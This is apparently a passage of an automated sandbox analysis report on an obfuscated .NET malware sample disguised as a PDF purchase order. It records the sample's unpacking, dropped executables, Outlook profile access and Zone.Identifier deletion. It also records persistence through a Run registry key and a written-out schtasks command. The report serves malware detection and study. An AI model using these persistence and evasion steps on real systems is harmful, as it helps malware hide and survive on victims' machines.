Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\11.0\Outlook\Profiles

Jump to behavior

Source: z38PO_20248099-1_pdf.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: z38PO_20248099-1_pdf.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source: z38PO_20248099-1_pdf.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: xaHV.pdbSHA256? source: z38PO_20248099-1_pdf.exe, FrFvspxoHsPs.exe.0.dr, sgxIb.exe.10.dr
Source:	Binary string: xaHV.pdb source: z38PO_20248099-1_pdf.exe, FrFvspxoHsPs.exe.0.dr, sgxIb.exe.10.dr

Data Obfuscation

.NET source code contains potential unpacker

Source: z38PO_20248099-1_pdf.exe, Form1.cs	.Net Code: InitializeComponent System.Reflection.Assembly.Load(byte[])
Source: FrFvspxoHsPs.exe.0.dr, Form1.cs	.Net Code: InitializeComponent System.Reflection.Assembly.Load(byte[])
Source: 0.2.z38PO_20248099-1_pdf.exe.7630000.6.raw.unpack, vFQ3EBHyQMQUMUhg1F.cs	.Net Code: qEJ4BgbjJ7 System.Reflection.Assembly.Load(byte[])
Source: 0.2.z38PO_20248099-1_pdf.exe.5680000.5.raw.unpack, QBy45BY4uMbUQs88Qq.cs	.Net Code: KmDc5Q9bs System.Reflection.Assembly.Load(byte[])
Source: 0.2.z38PO_20248099-1_pdf.exe.2bd7f58.1.raw.unpack, QBy45BY4uMbUQs88Qq.cs	.Net Code: KmDc5Q9bs System.Reflection.Assembly.Load(byte[])
Source: 0.2.z38PO_20248099-1_pdf.exe.3e35700.4.raw.unpack, vFQ3EBHyQMQUMUhg1F.cs	.Net Code: qEJ4BgbjJ7 System.Reflection.Assembly.Load(byte[])

Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	Code function: 0_2_050B5FA8 push eax; retn 050Ah	0_2_050B6009
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	Code function: 0_2_050B57ED push edx; iretd	0_2_050B57FB
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	Code function: 0_2_07115FF3 push FFFFFF8Bh; iretd	0_2_07115FFB
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	Code function: 0_2_07116032 push FFFFFF8Bh; iretd	0_2_0711603A
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	Code function: 0_2_07116077 push FFFFFF8Bh; iretd	0_2_0711607F
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	Code function: 10_2_02650C55 push ebx; retf	10_2_02650C52
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	Code function: 10_2_02650C55 push edi; retf	10_2_02650C7A
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	Code function: 10_2_064A212A push ss; ret	10_2_064A212E
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	Code function: 10_2_064AEA70 push es; ret	10_2_064AEA80
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	Code function: 10_2_064A4A9E push ecx; retf	10_2_064A4ACC
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	Code function: 10_2_064AA872 push es; ret	10_2_064AA880
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	Code function: 10_2_064A3E58 push ecx; iretd	10_2_064A3E1C
Source: C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe	Code function: 11_2_055CFEA8 push eax; mov dword ptr [esp], ecx	11_2_055CFEBC
Source: C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe	Code function: 15_2_0321F8E8 pushad ; retf	15_2_0321F8F1
Source: C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe	Code function: 15_2_03210C55 push edi; retf	15_2_03210C7A
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Code function: 16_2_05EC57F4 push edx; iretd	16_2_05EC57FB
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Code function: 16_2_05EC4ECC push eax; retn 05EBh	16_2_05EC6009
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Code function: 16_2_05EC09E8 push eax; ret	16_2_05EC0A13
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Code function: 16_2_05EC09E1 push eax; ret	16_2_05EC0A13
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Code function: 19_2_0302F7C8 pushad ; retf	19_2_0302F7D1
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Code function: 19_2_03020C55 push edi; retf	19_2_03020C7A
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Code function: 24_2_0151F7C8 pushad ; retf	24_2_0151F7D1
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Code function: 24_2_01510C55 push edi; retf	24_2_01510C7A
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Code function: 24_2_06CC7E88 push es; ret	24_2_06CC7E96
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Code function: 24_2_06CC9E82 push es; ret	24_2_06CC9E8E
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Code function: 24_2_06CCE4BA push cs; ret	24_2_06CCE4CE
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Code function: 24_2_06CC3513 push esp; ret	24_2_06CC352A

Source: z38PO_20248099-1_pdf.exe	Static PE information: section name: .text entropy: 7.8170394032595425
Source: FrFvspxoHsPs.exe.0.dr	Static PE information: section name: .text entropy: 7.8170394032595425

Source: 0.2.z38PO_20248099-1_pdf.exe.7630000.6.raw.unpack, KiELhXYqyrVZFhQm9F.cs	High entropy of concatenated method names: 'WQwm6gv9f6', 'XfAmTbGL5G', 'ToString', 'WyPmD9wyUK', 'mvGmn5yPbr', 'QOqm1rPWPD', 'Lcamk37kOf', 'VPNmG6UXO1', 'knPmMWB3Dg', 'siumHKE0rd'
Source: 0.2.z38PO_20248099-1_pdf.exe.7630000.6.raw.unpack, LosAFPfFkBtD5oRCm2.cs	High entropy of concatenated method names: 'OWH12OXe09', 'qwJ1wSdLWf', 'kTi1ef5h1I', 'HRb1f3DrKr', 'ij31x1JdkX', 'qiI1VZrNBo', 'dp31m7Q08Y', 'IXl1u93Ups', 'Xn01Kdfyuh', 'Uts17rW8xu'
Source: 0.2.z38PO_20248099-1_pdf.exe.7630000.6.raw.unpack, gtyGge5Kctx3uBBAdU.cs	High entropy of concatenated method names: 'mmGBqq7aD', 'xLd2PiFJf', 'GvTw2CtOR', 'jHsssupJ7', 'TTnfMPdIK', 'ykcNXXthO', 'AMSX7KVOArCvgFfP8v', 'GaNwl3hpfBQYCPf6eW', 'XmyuHR8tS', 'zUw7mQdp0'
Source: 0.2.z38PO_20248099-1_pdf.exe.7630000.6.raw.unpack, Btk7iA0RH8qsXNA6XR.cs	High entropy of concatenated method names: 'sfDMDZXSRG', 'gG4M1ryWYo', 'J2AMG9Hq8h', 'DVRGqxh6b0', 'iQHGzEuC7h', 'Oa7MliaVfe', 'rKAMpp1CnG', 'NvhM5wW4UV', 'BQrMCVndqT', 'KIkM4j2EFx'
Source: 0.2.z38PO_20248099-1_pdf.exe.7630000.6.raw.unpack, mIbugt8UBrxYxJw7d9.cs	High entropy of concatenated method names: 'e3QxR2LZ5N', 'KWSxIZx8w1', 'a63x83fXoI', 'aJHxQhaEwl', 'OwixrAIPvE', 'TgkxdkNH2D', 'JTsxyQXttN', 'nD9xLkyQmb', 'jrmxoWrl8s', 'yYpx0h2YyJ'
Source: 0.2.z38PO_20248099-1_pdf.exe.7630000.6.raw.unpack, NQgoNYzj1EmPVwiDCI.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'p28Kjp6YnY', 'rqaKxKWW3m', 'j79KVTmwsh', 'pLCKmwjiqT', 'dGfKum3DUr', 'N5aKKee1CP', 'aFlK7L2fQo'
Source: 0.2.z38PO_20248099-1_pdf.exe.7630000.6.raw.unpack, XLS43Ob5jtstyTsgIa.cs	High entropy of concatenated method names: 'rahGZOsbsQ', 'qdoGnCaJBk', 'jS9GkhwoHu', 'rxPGMBi0WX', 'c8LGHvgi9H', 'XhIkcytqrs', 'd5Dkhd2tCB', 'h9JkiX4EoC', 'ziwkABAdQ3', 'v3PkXDGW6x'
Source: 0.2.z38PO_20248099-1_pdf.exe.7630000.6.raw.unpack, hyUOVBe1ZWdha1wZaD.cs	High entropy of concatenated method names: 'LyUn8SmLII', 'jxfnQJo71P', 'DTYn9UUcp9', 'bPGnYgBJgt', 'vOancPAkK8', 'VIknhScJ3x', 'Fwnni6G9XV', 'M8MnAara2l', 'uCrnXf754Z', 'GjanqNMkAU'
Source: 0.2.z38PO_20248099-1_pdf.exe.7630000.6.raw.unpack, IOlxvM446LtJUjmNsy.cs	High entropy of concatenated method names: 'tL1pMyUOVB', 'gZWpHdha1w', 'BFkp6BtD5o', 'NCmpT2oMv6', 'ylkpx6sXLS', 'd3OpV5jtst', 'XbSnpPPIF5TmoAVZIX', 'NGfINU8wuxOOokBS4X', 'sXkppkyPYZ', 'WMUpC2bwvR'
Source: 0.2.z38PO_20248099-1_pdf.exe.7630000.6.raw.unpack, KMv6cONvy6c99alk6s.cs	High entropy of concatenated method names: 'p67kPZ6JI8', 'VioksYKdnF', 'D0r1dB79Ga', 'Qmy1y6x5wW', 'ewv1LgXGqT', 'FSD1okqm2Z', 'ebJ10bGLxV', 'xAu1gg9qXI', 'usd13Rf6dW', 'pUu1RRkrrk'
Source: 0.2.z38PO_20248099-1_pdf.exe.7630000.6.raw.unpack, h2lXrm1Ln8E0TaGMPo.cs	High entropy of concatenated method names: 'EditValue', 'GetEditStyle', 'fa95XURHLa', 'BqR5qX0VOu', 'ruG5zW87XN', 'rC1Cl6qJpE', 'T5nCpeRQ4R', 'R9eC5qfF53', 'lUMCCBaiuT', 'Egqflrjv6adHqw3KMji'
Source: 0.2.z38PO_20248099-1_pdf.exe.7630000.6.raw.unpack, wXB90Xh1HN6yrjDMQ1.cs	High entropy of concatenated method names: 'D0gmAWwSHf', 'MgQmqjcEc5', 'QVMul4KH9H', 'fPmupIOoSp', 'Y3hmth41iW', 'SEpmIJvLHQ', 'Q88mUOFlHv', 'US0m8WRXfY', 'YdXmQk9Duu', 'pHEm9uxpC4'
Source: 0.2.z38PO_20248099-1_pdf.exe.7630000.6.raw.unpack, SgNYaD3LV8cmdtSDnX.cs	High entropy of concatenated method names: 'bFdMWtGWxE', 'b89MaoM6hb', 'XRoMB7ccRl', 'alXM2yv1qA', 'BqkMPJhc1G', 'FQ9MwqHfyG', 'bGkMswvJwh', 'oGUMes59bC', 'xupMfB8ur6', 'QvSMN757x4'
Source: 0.2.z38PO_20248099-1_pdf.exe.7630000.6.raw.unpack, Hp3PG9AOidGHUBXNgK.cs	High entropy of concatenated method names: 'IZNuDgnyvZ', 'V4Funt7SP7', 'Hcpu1Cyu3h', 'brEukoh6uL', 'hdMuG233rp', 'qg8uMgkJQ9', 'x4iuHfpSsn', 'osBuJTqR2U', 'tgKu6FCbPq', 'zExuTmo105'
Source: 0.2.z38PO_20248099-1_pdf.exe.7630000.6.raw.unpack, kvAMVNXS38qY0xwrDy.cs	High entropy of concatenated method names: 'uZ6ubRc4iI', 'GB6ursU8DU', 'EwsudcKLt8', 'mFiuyRCJDv', 'YqVu8EGSQG', 'BAcuLnvCb2', 'Next', 'Next', 'Next', 'NextBytes'
Source: 0.2.z38PO_20248099-1_pdf.exe.7630000.6.raw.unpack, vFQ3EBHyQMQUMUhg1F.cs	High entropy of concatenated method names: 'iDyCZCl2NO', 'EucCDu8ra2', 'wQbCnwR297', 'lUVC1kmXCn', 'sVwCkQKZ4Q', 'VXwCG0QkF1', 'EJrCMxRfMA', 'ghXCHWkixt', 'Me1CJqcd4A', 'exrC6849gM'
Source: 0.2.z38PO_20248099-1_pdf.exe.7630000.6.raw.unpack, v9itLPURwknRP82u3f.cs	High entropy of concatenated method names: 'HcOje7Dib0', 'ahyjfRtSqK', 'VZmjbZ75vw', 'AiajrDyfl6', 'O7GjyCdfkD', 'FK0jLmouh0', 'sWVj0xJL6x', 'VU8jgIgmPv', 'xUtjRAVfkH', 'Essjtq1gGF'
Source: 0.2.z38PO_20248099-1_pdf.exe.7630000.6.raw.unpack, kKIrOFqfXlJBOvlLF4.cs	High entropy of concatenated method names: 'pljKpNl0L0', 'jSRKCM0rWY', 'jI2K4Ki9op', 'sSvKDgEuEJ', 'qmqKnDxpwI', 'I3gKkvF3P2', 'uisKG9jkDJ', 'xrWuifgu1D', 'aQkuAFDOS7', 'AUquXUcsV6'
Source: 0.2.z38PO_20248099-1_pdf.exe.7630000.6.raw.unpack, tYlXo7plxHHOXyr1xAA.cs	High entropy of concatenated method names: 'tYNKWZHBM8', 'CJcKaKAo0A', 'qEDKBRqyRM', 'W1mK2mjv26', 'W0HKPvUmbJ', 'UsBKw38q2D', 'ImoKsKmmJl', 'NhUKePXN2k', 'LHWKf09C0I', 'jQsKNIjt5i'
Source: 0.2.z38PO_20248099-1_pdf.exe.7630000.6.raw.unpack, zX1E86n7h6RxPR8vj1.cs	High entropy of concatenated method names: 'Dispose', 'jeLpXK1jCZ', 'NJl5ryctC9', 'Tv8bbL7yeA', 'brppq3PG9O', 'VdGpzHUBXN', 'ProcessDialogKey', 'MKH5lvAMVN', 'w385pqY0xw', 'GDy55HKIrO'
Source: 0.2.z38PO_20248099-1_pdf.exe.7630000.6.raw.unpack, W1bE9hpCShXBmpV1YBK.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'OiS78Qta8Z', 'cS57QkVfqq', 'cm479tE9LB', 'TSH7YUf7nB', 'Wws7c9guex', 'bkT7h3Xq1V', 'Jhh7ikHB85'
Source: 0.2.z38PO_20248099-1_pdf.exe.5680000.5.raw.unpack, kD0JNdgNBriBGn5egS.cs	High entropy of concatenated method names: 'ubU6vJppswKkZ', 'uvAmfDYbimWPg9rmyH6', 'XHYItoYHo1DoUvgeuNZ', 'tYVkNWYXlYIi7gDFfLn', 'TV4H82YzoL7kT86loIA', 'yoiEG7M3KqRFDlQAaqW', 'rU4RpWYS77WPQpUZwKR', 'vGvSIFYGEhSitdykOPg', 'TCSl6vMYjB5c5h75h4u'
Source: 0.2.z38PO_20248099-1_pdf.exe.5680000.5.raw.unpack, QBy45BY4uMbUQs88Qq.cs	High entropy of concatenated method names: 'QByY45B4u', 'EbUNQs88Q', 'D8PguGCCm', 'gfwtorebq', 'rQ9oD0JNd', 'cBrXiBGn5', 'sgS08fT72', 'lmAQKmrG6', 'qn1mTNvNO', 'K084ZL4CG'
Source: 0.2.z38PO_20248099-1_pdf.exe.2bd7f58.1.raw.unpack, kD0JNdgNBriBGn5egS.cs	High entropy of concatenated method names: 'ubU6vJppswKkZ', 'uvAmfDYbimWPg9rmyH6', 'XHYItoYHo1DoUvgeuNZ', 'tYVkNWYXlYIi7gDFfLn', 'TV4H82YzoL7kT86loIA', 'yoiEG7M3KqRFDlQAaqW', 'rU4RpWYS77WPQpUZwKR', 'vGvSIFYGEhSitdykOPg', 'TCSl6vMYjB5c5h75h4u'
Source: 0.2.z38PO_20248099-1_pdf.exe.2bd7f58.1.raw.unpack, QBy45BY4uMbUQs88Qq.cs	High entropy of concatenated method names: 'QByY45B4u', 'EbUNQs88Q', 'D8PguGCCm', 'gfwtorebq', 'rQ9oD0JNd', 'cBrXiBGn5', 'sgS08fT72', 'lmAQKmrG6', 'qn1mTNvNO', 'K084ZL4CG'
Source: 0.2.z38PO_20248099-1_pdf.exe.3e35700.4.raw.unpack, KiELhXYqyrVZFhQm9F.cs	High entropy of concatenated method names: 'WQwm6gv9f6', 'XfAmTbGL5G', 'ToString', 'WyPmD9wyUK', 'mvGmn5yPbr', 'QOqm1rPWPD', 'Lcamk37kOf', 'VPNmG6UXO1', 'knPmMWB3Dg', 'siumHKE0rd'
Source: 0.2.z38PO_20248099-1_pdf.exe.3e35700.4.raw.unpack, LosAFPfFkBtD5oRCm2.cs	High entropy of concatenated method names: 'OWH12OXe09', 'qwJ1wSdLWf', 'kTi1ef5h1I', 'HRb1f3DrKr', 'ij31x1JdkX', 'qiI1VZrNBo', 'dp31m7Q08Y', 'IXl1u93Ups', 'Xn01Kdfyuh', 'Uts17rW8xu'
Source: 0.2.z38PO_20248099-1_pdf.exe.3e35700.4.raw.unpack, gtyGge5Kctx3uBBAdU.cs	High entropy of concatenated method names: 'mmGBqq7aD', 'xLd2PiFJf', 'GvTw2CtOR', 'jHsssupJ7', 'TTnfMPdIK', 'ykcNXXthO', 'AMSX7KVOArCvgFfP8v', 'GaNwl3hpfBQYCPf6eW', 'XmyuHR8tS', 'zUw7mQdp0'
Source: 0.2.z38PO_20248099-1_pdf.exe.3e35700.4.raw.unpack, Btk7iA0RH8qsXNA6XR.cs	High entropy of concatenated method names: 'sfDMDZXSRG', 'gG4M1ryWYo', 'J2AMG9Hq8h', 'DVRGqxh6b0', 'iQHGzEuC7h', 'Oa7MliaVfe', 'rKAMpp1CnG', 'NvhM5wW4UV', 'BQrMCVndqT', 'KIkM4j2EFx'
Source: 0.2.z38PO_20248099-1_pdf.exe.3e35700.4.raw.unpack, mIbugt8UBrxYxJw7d9.cs	High entropy of concatenated method names: 'e3QxR2LZ5N', 'KWSxIZx8w1', 'a63x83fXoI', 'aJHxQhaEwl', 'OwixrAIPvE', 'TgkxdkNH2D', 'JTsxyQXttN', 'nD9xLkyQmb', 'jrmxoWrl8s', 'yYpx0h2YyJ'
Source: 0.2.z38PO_20248099-1_pdf.exe.3e35700.4.raw.unpack, NQgoNYzj1EmPVwiDCI.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'p28Kjp6YnY', 'rqaKxKWW3m', 'j79KVTmwsh', 'pLCKmwjiqT', 'dGfKum3DUr', 'N5aKKee1CP', 'aFlK7L2fQo'
Source: 0.2.z38PO_20248099-1_pdf.exe.3e35700.4.raw.unpack, XLS43Ob5jtstyTsgIa.cs	High entropy of concatenated method names: 'rahGZOsbsQ', 'qdoGnCaJBk', 'jS9GkhwoHu', 'rxPGMBi0WX', 'c8LGHvgi9H', 'XhIkcytqrs', 'd5Dkhd2tCB', 'h9JkiX4EoC', 'ziwkABAdQ3', 'v3PkXDGW6x'
Source: 0.2.z38PO_20248099-1_pdf.exe.3e35700.4.raw.unpack, hyUOVBe1ZWdha1wZaD.cs	High entropy of concatenated method names: 'LyUn8SmLII', 'jxfnQJo71P', 'DTYn9UUcp9', 'bPGnYgBJgt', 'vOancPAkK8', 'VIknhScJ3x', 'Fwnni6G9XV', 'M8MnAara2l', 'uCrnXf754Z', 'GjanqNMkAU'
Source: 0.2.z38PO_20248099-1_pdf.exe.3e35700.4.raw.unpack, IOlxvM446LtJUjmNsy.cs	High entropy of concatenated method names: 'tL1pMyUOVB', 'gZWpHdha1w', 'BFkp6BtD5o', 'NCmpT2oMv6', 'ylkpx6sXLS', 'd3OpV5jtst', 'XbSnpPPIF5TmoAVZIX', 'NGfINU8wuxOOokBS4X', 'sXkppkyPYZ', 'WMUpC2bwvR'
Source: 0.2.z38PO_20248099-1_pdf.exe.3e35700.4.raw.unpack, KMv6cONvy6c99alk6s.cs	High entropy of concatenated method names: 'p67kPZ6JI8', 'VioksYKdnF', 'D0r1dB79Ga', 'Qmy1y6x5wW', 'ewv1LgXGqT', 'FSD1okqm2Z', 'ebJ10bGLxV', 'xAu1gg9qXI', 'usd13Rf6dW', 'pUu1RRkrrk'
Source: 0.2.z38PO_20248099-1_pdf.exe.3e35700.4.raw.unpack, h2lXrm1Ln8E0TaGMPo.cs	High entropy of concatenated method names: 'EditValue', 'GetEditStyle', 'fa95XURHLa', 'BqR5qX0VOu', 'ruG5zW87XN', 'rC1Cl6qJpE', 'T5nCpeRQ4R', 'R9eC5qfF53', 'lUMCCBaiuT', 'Egqflrjv6adHqw3KMji'
Source: 0.2.z38PO_20248099-1_pdf.exe.3e35700.4.raw.unpack, wXB90Xh1HN6yrjDMQ1.cs	High entropy of concatenated method names: 'D0gmAWwSHf', 'MgQmqjcEc5', 'QVMul4KH9H', 'fPmupIOoSp', 'Y3hmth41iW', 'SEpmIJvLHQ', 'Q88mUOFlHv', 'US0m8WRXfY', 'YdXmQk9Duu', 'pHEm9uxpC4'
Source: 0.2.z38PO_20248099-1_pdf.exe.3e35700.4.raw.unpack, SgNYaD3LV8cmdtSDnX.cs	High entropy of concatenated method names: 'bFdMWtGWxE', 'b89MaoM6hb', 'XRoMB7ccRl', 'alXM2yv1qA', 'BqkMPJhc1G', 'FQ9MwqHfyG', 'bGkMswvJwh', 'oGUMes59bC', 'xupMfB8ur6', 'QvSMN757x4'
Source: 0.2.z38PO_20248099-1_pdf.exe.3e35700.4.raw.unpack, Hp3PG9AOidGHUBXNgK.cs	High entropy of concatenated method names: 'IZNuDgnyvZ', 'V4Funt7SP7', 'Hcpu1Cyu3h', 'brEukoh6uL', 'hdMuG233rp', 'qg8uMgkJQ9', 'x4iuHfpSsn', 'osBuJTqR2U', 'tgKu6FCbPq', 'zExuTmo105'
Source: 0.2.z38PO_20248099-1_pdf.exe.3e35700.4.raw.unpack, kvAMVNXS38qY0xwrDy.cs	High entropy of concatenated method names: 'uZ6ubRc4iI', 'GB6ursU8DU', 'EwsudcKLt8', 'mFiuyRCJDv', 'YqVu8EGSQG', 'BAcuLnvCb2', 'Next', 'Next', 'Next', 'NextBytes'
Source: 0.2.z38PO_20248099-1_pdf.exe.3e35700.4.raw.unpack, vFQ3EBHyQMQUMUhg1F.cs	High entropy of concatenated method names: 'iDyCZCl2NO', 'EucCDu8ra2', 'wQbCnwR297', 'lUVC1kmXCn', 'sVwCkQKZ4Q', 'VXwCG0QkF1', 'EJrCMxRfMA', 'ghXCHWkixt', 'Me1CJqcd4A', 'exrC6849gM'
Source: 0.2.z38PO_20248099-1_pdf.exe.3e35700.4.raw.unpack, v9itLPURwknRP82u3f.cs	High entropy of concatenated method names: 'HcOje7Dib0', 'ahyjfRtSqK', 'VZmjbZ75vw', 'AiajrDyfl6', 'O7GjyCdfkD', 'FK0jLmouh0', 'sWVj0xJL6x', 'VU8jgIgmPv', 'xUtjRAVfkH', 'Essjtq1gGF'
Source: 0.2.z38PO_20248099-1_pdf.exe.3e35700.4.raw.unpack, kKIrOFqfXlJBOvlLF4.cs	High entropy of concatenated method names: 'pljKpNl0L0', 'jSRKCM0rWY', 'jI2K4Ki9op', 'sSvKDgEuEJ', 'qmqKnDxpwI', 'I3gKkvF3P2', 'uisKG9jkDJ', 'xrWuifgu1D', 'aQkuAFDOS7', 'AUquXUcsV6'
Source: 0.2.z38PO_20248099-1_pdf.exe.3e35700.4.raw.unpack, tYlXo7plxHHOXyr1xAA.cs	High entropy of concatenated method names: 'tYNKWZHBM8', 'CJcKaKAo0A', 'qEDKBRqyRM', 'W1mK2mjv26', 'W0HKPvUmbJ', 'UsBKw38q2D', 'ImoKsKmmJl', 'NhUKePXN2k', 'LHWKf09C0I', 'jQsKNIjt5i'
Source: 0.2.z38PO_20248099-1_pdf.exe.3e35700.4.raw.unpack, zX1E86n7h6RxPR8vj1.cs	High entropy of concatenated method names: 'Dispose', 'jeLpXK1jCZ', 'NJl5ryctC9', 'Tv8bbL7yeA', 'brppq3PG9O', 'VdGpzHUBXN', 'ProcessDialogKey', 'MKH5lvAMVN', 'w385pqY0xw', 'GDy55HKIrO'
Source: 0.2.z38PO_20248099-1_pdf.exe.3e35700.4.raw.unpack, W1bE9hpCShXBmpV1YBK.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'OiS78Qta8Z', 'cS57QkVfqq', 'cm479tE9LB', 'TSH7YUf7nB', 'Wws7c9guex', 'bkT7h3Xq1V', 'Jhh7ikHB85'

Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	File created: C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe			Jump to dropped file
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	File created: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe			Jump to dropped file

Boot Survival

Uses schtasks.exe or at.exe to add and modify task schedules

Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe

Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\FrFvspxoHsPs" /XML "C:\Users\user\AppData\Local\Temp\tmpD40B.tmp"

Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run sgxIb			Jump to behavior
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run sgxIb			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Hides that the sample has been downloaded from the Internet (zone.identifier)

Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	File opened: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe:Zone.Identifier read attributes \| delete			Jump to behavior
Source: C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe	File opened: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe:Zone.Identifier read attributes \| delete

Loading BitLocker PowerShell Module

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior

Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
